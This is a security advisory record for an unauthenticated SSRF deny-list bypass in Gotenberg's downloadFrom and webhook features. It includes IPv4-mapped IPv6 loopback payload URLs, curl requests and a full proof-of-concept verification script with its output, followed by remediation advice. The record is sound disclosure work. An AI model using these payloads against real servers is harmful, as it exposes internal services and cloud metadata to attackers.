{"id":"GHSA-4vmc-gm8v-m35h","summary":"Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook","details":"### Summary\nThe default deny-lists used by Gotenberg's `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n  - Reads attacker-supplied `downloadFrom`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n  - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n  - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n  - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'\ncat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'\n```\n\nObserved output:\n\n```json\n{\n  \"page_1.pdf\": {\n    \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n    \"FileType\": \"PDF\",\n    \"FileTypeExtension\": \"pdf\",\n    \"Linearized\": \"No\",\n    \"MIMEType\": \"application/pdf\",\n    \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n    \"PDFVersion\": 1.7,\n    \"PageCount\": 1,\n    \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n    \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n  }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" && pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n  \"--pdfengines-merge-engines=qpdf\"\n  \"--pdfengines-split-engines=qpdf\"\n  \"--pdfengines-flatten-engines=qpdf\"\n  \"--pdfengines-convert-engines=qpdf\"\n  \"--pdfengines-read-metadata-engines=exiftool\"\n  \"--pdfengines-write-metadata-engines=exiftool\"\n  \"--pdfengines-encrypt-engines=qpdf\"\n  \"--pdfengines-embed-engines=qpdf\"\n  \"--pdfengines-read-bookmarks-engines=qpdf\"\n  \"--pdfengines-write-bookmarks-engines=qpdf\"\n  \"--pdfengines-watermark-engines=qpdf\"\n  \"--pdfengines-stamp-engines=qpdf\"\n  \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf '\\033[31m%s\\033[0m\\n' \"$*\"; }\ngreen() { printf '\\033[32m%s\\033[0m\\n' \"$*\"; }\nblue() { printf '\\033[34m%s\\033[0m\\n' \"$*\"; }\n\ncleanup() {\n  docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e&1 || true\n  docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e&1 || true\n}\n\nfail() {\n  red \"$1\"\n  printf '\\n--- gotenberg logs ---\\n'\n  docker logs \"$GOTENBERG_NAME\" 2\u003e/dev/null || true\n  printf '\\n--- helper logs ---\\n'\n  docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n  exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n  red \"Missing test PDF: $TEST_PDF\"\n  exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n  red \"Missing Dockerfile: $DOCKERFILE\"\n  exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e&1; then\n  blue \"[1/6] Building slim verification image: $IMAGE\"\n  docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n  blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n  --name \"$GOTENBERG_NAME\" \\\n  -p \"$PORT:3000\" \\\n  \"$IMAGE\" \\\n  --webhook-enable-sync-mode=true \\\n  \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n  if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e&1; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e&1; then\n  fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/pdf\")\n        self.send_header(\"Content-Disposition\", 'attachment; filename=\"page_1.pdf\"')\n        self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n        self.end_headers()\n        self.wfile.write(PDF_BYTES)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\"Content-Length\", \"0\"))\n        body = self.rfile.read(length)\n        with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"{self.command} {self.path} len={len(body)} \"\n                f\"content-type={self.headers.get('Content-Type', '')}\\n\"\n            )\n        self.send_response(200)\n        self.end_headers()\n\n    do_PATCH = do_POST\n    do_PUT = do_POST\n\n    def log_message(self, fmt, *args):\n        return\n\n\ndef serve(addr, handler):\n    HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n  --name \"$HELPER_NAME\" \\\n  --network \"container:$GOTENBERG_NAME\" \\\n  -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n  -v \"$ARTIFACT_DIR:/work\" \\\n  -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n  python:3.11-alpine \\\n  python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n  if docker logs \"$HELPER_NAME\" 2\u003e&1 | grep -q \"internal helper ready\"; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e&1 | grep -q \"internal helper ready\"; then\n  fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n  curl -sS \\\n    -o \"$DOWNLOAD_JSON\" \\\n    -w '%{http_code}' \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n    -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n  cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n  fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e 'has(\"page_1.pdf\")' \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e&1; then\n  cat \"$DOWNLOAD_JSON\" || true\n  fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n  curl -sS \\\n    -o /dev/null \\\n    -w '%{http_code}' \\\n    -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n    -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n    -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n    -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n  fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q '^POST /upload ' \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q '^POST /events ' \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf 'downloadFrom metadata: %s\\n' \"$DOWNLOAD_JSON\"\nprintf 'webhook log:          %s\\n' \"$WEBHOOK_LOG\"\n\nprintf '\\n--- downloadFrom metadata excerpt ---\\n'\njq '{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}' \"$DOWNLOAD_JSON\"\n\nprintf '\\n--- webhook log ---\\n'\ncat \"$WEBHOOK_LOG\"\n\nprintf '\\n'\ngreen \"Verification complete\"\nprintf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n'\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n   Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n   Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n   Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.","aliases":["CVE-2026-42596","GO-2026-5132"],"modified":"2026-06-25T18:56:36.124091373Z","published":"2026-05-07T01:15:19Z","database_specific":{"github_reviewed_at":"2026-05-07T01:15:19Z","nvd_published_at":"2026-05-14T16:16:22Z","cwe_ids":["CWE-918"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42596"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"}],"affected":[{"package":{"name":"github.com/gotenberg/gotenberg/v8","ecosystem":"Go","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.32.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 8.30.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-4vmc-gm8v-m35h/GHSA-4vmc-gm8v-m35h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"}]}